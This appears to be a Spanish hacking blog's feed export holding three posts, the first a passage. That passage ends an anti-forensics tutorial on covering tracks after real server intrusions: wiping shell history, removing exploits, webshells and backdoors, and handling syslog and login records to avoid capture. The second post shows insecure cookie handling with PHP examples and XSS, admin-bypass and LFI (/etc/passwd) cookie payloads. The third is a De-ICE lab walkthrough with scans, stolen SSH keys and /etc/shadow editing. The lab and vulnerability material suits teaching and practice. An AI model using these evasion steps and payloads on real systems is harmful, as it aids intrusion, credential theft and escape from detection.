C-1) Si, es algo lógico, que mucha gente olvida...&lt;br /&gt;
C-2) Es tan sencillo como editar y/o eliminar el .bash_history o .sh_history&lt;br /&gt;
C-3) Recordar: Esto se hace JUSTO ANTES de salir.&lt;br /&gt;
&lt;br /&gt;
D) Eliminar todo rastro de exploits, webshells, sniffers, ...&lt;br /&gt;
D-1) Como comenté, me descubrieron por dejar un Root Exploit. No saben quien fue, pero ahí supongo que seguirá.&lt;br /&gt;
&lt;br /&gt;
E) Tener cuidado con los cambios en el sistema&lt;br /&gt;
E-1) Este paso es vital. Si hiciste un cambio y te agarran, será peor que si solo realizaste la intrusión, dependiendo del pais en el que residas.&lt;br /&gt;
&lt;br /&gt;
F) Cuidado con los Backdoors&lt;br /&gt;
F-1) Durante un corto tiempo puede pasar inadvertido, durante más, puede ser descubierto... Más vale prevenir que curar.&lt;br /&gt;
&lt;br /&gt;
G) Eliminar toda cuenta realizada, sobre todo si tiene permisos de Root&lt;br /&gt;
G-1) No basta con eliminar los permisos de shell (/sh/false)&lt;br /&gt;
&lt;br /&gt;
H) Cuidado: Si hay alguien más logeado al sistema, puede ser muy peligroso.&lt;br /&gt;
H-1) Pueden capturarte fácilmente, además de rastrearte sin el más minimo problema.&lt;br /&gt;
&lt;br /&gt;
I) Desconfia de todos. El anonimato implica el silencio absoluto, discreción, y seguridad. Jamás digas &quot;Ataqué X servidor&quot;, si hay necesidad, &quot;Ataqué un servidor&quot;. Fuera del sistema, si eres buscado, no dudes que te espiarán.&lt;br /&gt;
I-1) No existe proxy seguro, solo muy faciles, faciles, complejos, y extremadamente complejos. Pero no seguros.&lt;br /&gt;
&lt;br /&gt;
J) Cuidado con el syslog.&lt;br /&gt;
&amp;nbsp;J-1) En ocasiones puede ser más complejo de lo habitual deshacerse de cambios realizados en el.&lt;br /&gt;
&lt;br /&gt;
K) Comandos de interés:&lt;br /&gt;
&lt;blockquote style=&quot;background-color: yellow; color: black;&quot;&gt;
-Who: Lista usuarios activos.&lt;br /&gt;
-last: Ultimo inicio de sesión de usuario.&lt;br /&gt;
-ps: Procesos activos.&lt;br /&gt;
-lastcom / hostory: Comandos realizados. Véase apartado C.&lt;/blockquote&gt;
L) Ficheros peligrosos:&lt;br /&gt;
&lt;blockquote style=&quot;background-color: yellow; color: black;&quot;&gt;
-utmp: Guarda un registro (log) de los usuarios que están utilizando el sistema mientras estan conectados al sistema. Directorios: /var/adm/utmp y /etc/utmp&lt;br /&gt;
-wtmp: Guarda un log cada vez que un usuario se introduce en el sistema o sale del sistema.&lt;br /&gt;
-lastlog: Guarda un log del momento exacto en que un usuario entro por ultima vez.&lt;br /&gt;
-acct o pacct: Registra todos los comandos ejecutados por cada usuario (aunque no registra los argumentos con que dichos comandos fueron ejecutados).&lt;/blockquote&gt;
&lt;b&gt;Despedida:&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;¿Salir ileso? Sólo te salva la ignorancia del que esté detrás. &lt;/b&gt;&lt;br /&gt;
Este tutorial va dedicado a Vengador (The X-Cell), 11Sep, RemoteExecution, a todo OverSec.org&lt;br /&gt;
&lt;br /&gt;
Se aceptan críticas, sugerencias, y amenazas de muerte.&lt;br /&gt;
&lt;br /&gt;
Como siempre digo: &lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;&quot;Para saber hacer, hay que saber que haces&quot;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Un saludo!</content><link rel='replies' type='application/atom+xml' href='http://oversec-blog.blogspot.com/feeds/711126969388980944/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://oversec-blog.blogspot.com/2012/06/rastreo-eliminacion-de-huellas.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5049397840722246187/posts/default/711126969388980944'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5049397840722246187/posts/default/711126969388980944'/><link rel='alternate' type='text/html' href='http://oversec-blog.blogspot.com/2012/06/rastreo-eliminacion-de-huellas.html' title='[Rastreo] Eliminación de huellas'/><author><name>Yo-Mismo</name><uri>http://www.blogger.com/profile/16808768813534764737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5049397840722246187.post-8277132687191595397</id><published>2012-06-07T04:05:00.001-07:00</published><updated>2012-12-25T15:00:38.760-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="insecure cookie Handling"/><title type='text'>Insecure Cookie Handling</title><content type='html'>&lt;div&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;Aburrido, y tras un tiempo sin escribir nada, se me ocurrió escribir algo sobre Insecure Cookie Handling... Ahí va.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;b&gt;

&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;b&gt;¿Qué es?&lt;/b&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;Es una mala filtración o mal uso de las cookies, donde se almacena información sensible que puede ser alterado con facilidad.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;span style=&quot;text-decoration: underline;&quot;&gt;Nivel:&lt;/span&gt; Muy bajo.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;u&gt;Potencia:&lt;/u&gt; Elevada&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;b&gt;Ejemplo:&lt;/b&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;div&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;if(isset($_COOKIE[&quot;UID&quot;]))&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;
{&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;
         if($_COOKIE[&quot;UID&quot;]==&quot;Administrador&quot;)&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;
         {&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;
                       echo &quot;Bienvenido, administrador&quot;;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;
         } else {&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;
                       echo &quot;Acceso restringido&quot;;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;
         }&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;
} else {&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;
         echo &quot;Debes Logearte&quot;;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;
}&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;
?&amp;gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/blockquote&gt;
&lt;div&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;Lo pruebo desde mi máquina, y como es lógico me dice que debo loggearme.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;Así que pediremos ayuda a Live HTTP Headers, y con el editamos la cookie.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;blockquote&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;b&gt;Debes loggearte:&lt;/b&gt; Cookie: usuario=yo-mismo&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;b&gt;No autorizado:&lt;/b&gt;     Cookie: usuario=yo-mismo;UID=Usuario&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;b&gt;Acceso a admin:&lt;/b&gt;   Cookie: usuario=yo-mismo;UID=Administrador&lt;/span&gt;&lt;/blockquote&gt;
&lt;div&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;Es increible la cantidad de sitios web vulnerables a este ataque, de una u otra forma.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;b&gt;Explicación&lt;/b&gt;:&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;Cuando haya que realizar alguna comprobación sensible, cono en este caso, debe estar todo protegido (quizas un MD5&amp;amp;SALT lo solucionase rápido)... Esto provoca todo tipo de vulnerabilidades, ya que te deja una puerta abierta.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;Según el uso, quizás podais lograr algún LFI, XSS, PHPi, SQLi, o más fallos que intentar provocar... Siempre suele caer algo, por pequeño que sea&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;b&gt;Ejemplo #2 ~ XSS&lt;/b&gt;:

&lt;/span&gt;&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;div&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;if(isset($_COOKIE[&quot;usuario&quot;]))&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;
        {&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;
                echo &quot;Hola, &quot;.$_COOKIE[&quot;usuario&quot;];&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;
        } else {&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;
                echo &quot;Inicia sesión&quot;;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;
        }&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;
?&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;span style=&quot;background-color: white;&quot;&gt;Cookie: usuario=&amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;/pre&gt;
&lt;div&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;b&gt;Ejemplo #3 ~ LFI&lt;/b&gt;:
  &lt;/span&gt;&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;div&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;if(isset($_COOKIE[&quot;file&quot;]))&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;include($_COOKIE[&quot;file&quot;]);&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;} else {&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;include(&quot;Home.php&quot;);&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;/blockquote&gt;
&lt;div&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;pre&gt;&lt;span style=&quot;background-color: white;&quot;&gt;Cookie: usuario=../../../../../../../../../../../../../../etc/passwd&lt;/span&gt;&lt;/pre&gt;
&lt;div&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;Este ya un tanto más ridículo xD&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;b&gt;Despedida: &lt;/b&gt;Confío les haya sido de utilidad. Cualquier duda en este mismo tema.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;Un saludo!&lt;/span&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://oversec-blog.blogspot.com/feeds/8277132687191595397/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://oversec-blog.blogspot.com/2012/06/aburrido-y-tras-un-tiempo-sin-escribir.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5049397840722246187/posts/default/8277132687191595397'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5049397840722246187/posts/default/8277132687191595397'/><link rel='alternate' type='text/html' href='http://oversec-blog.blogspot.com/2012/06/aburrido-y-tras-un-tiempo-sin-escribir.html' title='Insecure Cookie Handling'/><author><name>Yo-Mismo</name><uri>http://www.blogger.com/profile/16808768813534764737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5049397840722246187.post-7139984749321522152</id><published>2012-06-05T06:56:00.002-07:00</published><updated>2012-12-25T15:13:03.555-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="De-ICE"/><category scheme="http://www.blogger.com/atom/ns#" term="Mapeo de red"/><category scheme="http://www.blogger.com/atom/ns#" term="nessus"/><category scheme="http://www.blogger.com/atom/ns#" term="nmap"/><category scheme="http://www.blogger.com/atom/ns#" term="Webcrawling"/><title type='text'>[Relato] Entorno de seguridad DE-Ice v2</title><content type='html'>&lt;div&gt;
Trasteando aburrido, descargué dos sistemas de seguridad controlados para practicar un Test de Intrusión. Estas son DE-ICE v1 y V2 respectivamente.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Las distribuciónes de seguridad pueden ser descargadas desde Heorot.net.&lt;/div&gt;
&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;¿Qué necesitaremos?&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;ul style=&quot;color: white;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;
&lt;/span&gt;
&lt;li&gt;&lt;span style=&quot;color: black;&quot;&gt;Dos máquinas virtuales&lt;/span&gt;&lt;/li&gt;
&lt;span style=&quot;color: black;&quot;&gt;
&lt;/span&gt;
&lt;li&gt;&lt;span style=&quot;color: black;&quot;&gt;De-ICE v2&lt;/span&gt;&lt;/li&gt;
&lt;span style=&quot;color: black;&quot;&gt;
&lt;/span&gt;
&lt;li&gt;&lt;span style=&quot;color: black;&quot;&gt;Backtrack 5&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;¿Cuáles serán nuestros objetivos?&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;
Webcrawling&lt;/li&gt;
&lt;li&gt;Accesar servidor&lt;/li&gt;
&lt;li&gt;Obtener privilegios de ROOT&lt;/li&gt;
&lt;/ul&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;¿Reglas?&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;&amp;nbsp;-No Exploit&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;Empieza la fiesta.&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;
Lo primero que haremos será unir las dos máquinas virtuales. A de-ice se le asigna por defecto la subred 192.168.2.*.&lt;/div&gt;
&lt;div&gt;
Esto se puede realizar con el siguiente comando:&lt;/div&gt;
&lt;br /&gt;
&lt;pre style=&quot;background-color: #cccccc; color: black;&quot;&gt;ifconfig eth0 192.168.2.150&lt;/pre&gt;
&lt;div&gt;
Siendo 150 una dirección libre, y eth0 su interfaz de red.&lt;/div&gt;
&lt;div&gt;
Procedamos pues a localizar el servidor.&lt;/div&gt;
&lt;div&gt;
Aremos uso de Netdiscover, o en su defecto, NMAP -sP 192.168.2.*.&lt;/div&gt;
&lt;div&gt;
Veamos que tenemos por aquí.&lt;/div&gt;
&lt;blockquote style=&quot;color: black;&quot;&gt;
&lt;div style=&quot;background-color: #cccccc;&quot;&gt;
Currently scanning: 192.168.19.0/16   |   Screen View: Unique Hosts           &lt;/div&gt;
&lt;div style=&quot;background-color: #cccccc;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #cccccc;&quot;&gt;
2 Captured ARP Req/Rep packets, fro.m 2 hosts.   Total size: 120               &lt;/div&gt;
&lt;div style=&quot;background-color: #cccccc;&quot;&gt;
_____________________________________________________________________________&lt;/div&gt;
&lt;div style=&quot;background-color: #cccccc;&quot;&gt;
IP            At MAC Address      Count  Len   MAC Vendor                   &lt;/div&gt;
&lt;div style=&quot;background-color: #cccccc;&quot;&gt;
----------------------------------------------------------------------------- &lt;/div&gt;
&lt;div style=&quot;background-color: #cccccc;&quot;&gt;
192.168.2.100   08:00:27:b1:50:12    01    060   CADMUS COMPUTER SYSTEMS      &lt;/div&gt;
&lt;div style=&quot;background-color: #cccccc;&quot;&gt;
192.168.2.101   08:00:27:b1:50:12    01    060   CADMUS COMPUTER SYSTEMS&lt;/div&gt;
&lt;/blockquote&gt;
&lt;div&gt;
Tenemos dos sistemas. Escaneamos con NMAP para obtener resultados.&lt;/div&gt;
&lt;br /&gt;
&lt;blockquote style=&quot;background-color: yellow; color: black;&quot;&gt;
nmap -sV 192.168.2.100 - nmap -sV 192.168.2.101&lt;/blockquote&gt;
&lt;div&gt;
-Primer host:&lt;/div&gt;
&lt;blockquote style=&quot;background-color: #cccccc; color: black;&quot;&gt;
PORT    STATE  SERVICE  VERSION&lt;br /&gt;
20/tcp  closed ftp-data&lt;br /&gt;
21/tcp  open   ftp      &lt;b&gt;vsftpd 2.0.4&lt;/b&gt;&lt;br /&gt;
22/tcp  open   ssh      &lt;b&gt;OpenSSH 4.3 (protocol 1.99)&lt;/b&gt;&lt;br /&gt;
25/tcp  open   smtp&lt;b&gt;     Sendmail 8.13.7&lt;/b&gt;/8.13.7&lt;br /&gt;
80/tcp  open   http &lt;b&gt;    Apache httpd 2.0.55 ((Unix) PHP/5&lt;/b&gt;.1.2)&lt;br /&gt;
110/tcp open   pop3     Openwall popa3d&lt;br /&gt;
143/tcp open   imap     UW imapd 2004.357&lt;br /&gt;
443/tcp closed https&lt;/blockquote&gt;
&lt;div&gt;
FTP vulnerable... Pero no utilizaremos exploits, ni para atacar, ni para escalar privilegios.&lt;/div&gt;
&lt;div&gt;
Vemos que el segundo únicamente tiene el puerto 80. Si accedemos a el via web, no vemos más que unos ficheros. Si accedemos a 192.168.2.100, vemos una página Web. Pincho el enlace y veo direcciones de correo. Está claro: Hay un servicio de correo, por lo que habrán dichos usuarios, &quot;seguramente&quot;.&lt;/div&gt;
&lt;br /&gt;
&lt;center style=&quot;color: blue;&quot;&gt;
&lt;b&gt;Buscando amigos&lt;/b&gt;&lt;/center&gt;
&lt;b&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;
&lt;/b&gt;&lt;br /&gt;
Seleccionamos la lista de correo, y la limpiamos de forma que simplemente quede el nombre del usuario, argegando el signo ~ (user) para tratar de brutalizar, haber si encontramos algún directorio de interés.&lt;br /&gt;
&lt;div&gt;
Ésta es mi lista:&lt;/div&gt;
&lt;blockquote style=&quot;background-color: yellow; color: black;&quot;&gt;
root&lt;br /&gt;
admin&lt;br /&gt;
~root&lt;br /&gt;
~admin&lt;br /&gt;
~pickwick&lt;br /&gt;
~winkle&lt;br /&gt;
~snodgrass&lt;br /&gt;
~tupman&lt;br /&gt;
~weller&lt;br /&gt;
~tweller&lt;br /&gt;
~havisham&lt;br /&gt;
~magwitch&lt;br /&gt;
~pirrip&lt;br /&gt;
~nickleby&lt;br /&gt;
~rnickleby&lt;br /&gt;
~noggs&lt;br /&gt;
~squeers&lt;br /&gt;
~pinch&lt;br /&gt;
~tapley&lt;br /&gt;
~gamp&lt;br /&gt;
~marley&lt;br /&gt;
~scrooge&lt;br /&gt;
~cratchit&lt;br /&gt;
~sikes&lt;br /&gt;
~dawkins&lt;br /&gt;
~claypole&lt;/blockquote&gt;
&lt;div&gt;
Brutalizamos con DirBuster en 192.168.2.101 y vemos que hay un usuario, pirrip. Tratemos si con un poco de suerte existe la carpeta .ssh.&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: black;&quot;&gt;&lt;a .ssh=&quot;.ssh&quot; 192.168.2.101=&quot;&quot; epirrip=&quot;&quot; href=&quot;http://www.blogger.com/blogger.g?blogID=5049397840722246187&quot; http:=&quot;&quot;&gt;http://192.168.2.101/~pirrip/.ssh&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
Ahí tenemos los id_rsa y id_rsa.pub, esperándonos boxing&lt;/div&gt;
&lt;div&gt;
Lo almacenamos en /root/.ssh/ y damos permisos 777.&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;Intruder Here&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
Procedamos a conectar via SSH.&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote style=&quot;background-color: yellow; color: black;&quot;&gt;
ssh pirrip@192.168.2.100&lt;/blockquote&gt;
Tachán! estamos dentro.&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;&amp;nbsp;You Have New Mail&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
Entramos y leemos el correo. Hagamos uso de mailx para leer el séptimo correo.&lt;br /&gt;
En el vemos:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote style=&quot;background-color: #cccccc; color: black;&quot;&gt;
&lt;div style=&quot;background-color: yellow;&quot;&gt;
root@bt:~# ssh pirrip@192.168.2.100&lt;/div&gt;
Linux 2.6.16.&lt;br /&gt;
&lt;div style=&quot;background-color: yellow;&quot;&gt;
pirrip@slax:~$ mailx&lt;/div&gt;
mailx version nail 11.25 7/29/05.  Type ? for help.&lt;br /&gt;
&quot;/var/mail/pirrip&quot;: 7 messages 7 new&lt;br /&gt;
&amp;gt;N  1 Abel Magwitch      Sun Jan 13 23:53   20/748   Estella&lt;br /&gt;
N  2 Estella Havisham   Sun Jan 13 23:53   20/780   welcome to the team&lt;br /&gt;
N  3 Abel Magwitch      Sun Jan 13 23:53   20/875   havisham&lt;br /&gt;
N  4 Estella Havisham   Mon Jan 14 00:05   20/861   next month&lt;br /&gt;
N  5 Abel Magwitch      Mon Jan 14 00:05   20/868   vacation&lt;br /&gt;
N  6 Abel Magwitch      Mon Jan 14 00:05   20/915   vacation&lt;br /&gt;
N  7 &lt;a fermion.he=&quot;fermion.he&quot; href=&quot;mailto:&quot; noreply=&quot;noreply&quot;&gt;noreply@fermion.he&lt;/a&gt; Mon Jan 14 00:05   29/983   Fermion Account Login Reminder&lt;br /&gt;
? &lt;span style=&quot;background-color: yellow;&quot;&gt;7&lt;/span&gt;&lt;/blockquote&gt;
Leemos el correo:&lt;br /&gt;
&lt;blockquote&gt;
&lt;div style=&quot;background-color: yellow; color: black;&quot;&gt;
From &lt;a fermion.herot.net=&quot;fermion.herot.net&quot; href=&quot;mailto:&quot; noreply=&quot;noreply&quot;&gt;noreply@fermion.herot.net&lt;/a&gt;  Mon Jan 14 00:05:15 2008&lt;/div&gt;
&lt;div style=&quot;background-color: yellow; color: black;&quot;&gt;
Return-Path: &lt;noreply fermion.herot.net=&quot;fermion.herot.net&quot;&gt;&lt;br /&gt;
From: &lt;a fermion.herot.net=&quot;fermion.herot.net&quot; href=&quot;mailto:&quot; noreply=&quot;noreply&quot;&gt;noreply@fermion.herot.net&lt;/a&gt;&lt;br /&gt;
Date: Sun, 13 Jan 2008 23:54:42 +0000&lt;br /&gt;
To: &lt;a href=&quot;mailto:&quot; pirrip=&quot;pirrip&quot; slax.example.net=&quot;slax.example.net&quot;&gt;pirrip@slax.example.net&lt;/a&gt;&lt;br /&gt;
Subject: Fermion Account Login Reminder&lt;br /&gt;
User-Agent: nail 11.25 7/29/05&lt;br /&gt;
Content-Type: text/plain; charset=us-ascii&lt;br /&gt;
Status: R

&lt;/noreply&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: yellow; color: black;&quot;&gt;
Fermion Account Login Reminder&lt;/div&gt;
&lt;div style=&quot;background-color: yellow; color: black;&quot;&gt;
Listed below are your Fermion Account login credentials.  Please let us know if you have any questions or problems.&lt;/div&gt;
&lt;div style=&quot;background-color: yellow; color: black;&quot;&gt;
Regards,&lt;br /&gt;
Fermion Support&lt;/div&gt;
&lt;div style=&quot;color: black;&quot;&gt;
&lt;span style=&quot;background-color: yellow;&quot;&gt;E-Mail: &lt;/span&gt;&lt;a href=&quot;mailto:&quot; pirrip=&quot;pirrip&quot; slax.example.net=&quot;slax.example.net&quot; style=&quot;background-color: yellow;&quot;&gt;pirrip@slax.example.net&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;color: black;&quot;&gt;
&lt;span style=&quot;background-color: yellow;&quot;&gt;
Password: 0l1v3rTw1st&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;/blockquote&gt;
Tenemos una clave suculenta...&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;b&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;center&gt;
&lt;b&gt;&lt;span style=&quot;color: lime;&quot;&gt;Fín!&lt;/span&gt;&lt;/b&gt;&lt;/center&gt;
&lt;br /&gt;
&lt;br /&gt;
Hagamos uso de una vieja técnica.&lt;br /&gt;
Editamos el fichero /etc/shadows, eliminamos el usuario ROOT y sustituimos pirrip por ROOT. De esta forma nos damos privilegios.&lt;br /&gt;
&lt;blockquote style=&quot;background-color: yellow; color: black;&quot;&gt;
sudo vi /etc/shadow&lt;/blockquote&gt;
Ahí ingresaremos la clave que nos facilitó nuestro amigo via mail baba&lt;br /&gt;
Antes:&lt;br /&gt;
&lt;blockquote style=&quot;background-color: #cccccc; color: black;&quot;&gt;
root:$1$/Ta1Q0lT$CSY9sjWR33Re2h5ohV4MX/:13882:0:::::&lt;br /&gt;
bin:*:9797:0:::::&lt;br /&gt;
daemon:*:9797:0:::::&lt;br /&gt;
adm:*:9797:0:::::&lt;br /&gt;
lp:*:9797:0:::::&lt;br /&gt;
sync:*:9797:0:::::&lt;br /&gt;
shutdown:*:9797:0:::::&lt;br /&gt;
halt:*:9797:0:::::&lt;br /&gt;
mail:*:9797:0:::::&lt;br /&gt;
news:*:9797:0:::::&lt;br /&gt;
uucp:*:9797:0:::::&lt;br /&gt;
operator:*:9797:0:::::&lt;br /&gt;
games:*:9797:0:::::&lt;br /&gt;
ftp:*:9797:0:::::&lt;br /&gt;
smmsp:*:9797:0:::::&lt;br /&gt;
mysql:*:9797:0:::::&lt;br /&gt;
rpc:*:9797:0:::::&lt;br /&gt;
sshd:*:9797:0:::::&lt;br /&gt;
gdm:*:9797:0:::::&lt;br /&gt;
pop:*:9797:0:::::&lt;br /&gt;
nobody:*:9797:0:::::&lt;br /&gt;
pirrip:$1$KEj04HbT$ZTn.iEtQHcLQc6MjrG/Ig/:13882:0:99999:7:::&lt;br /&gt;
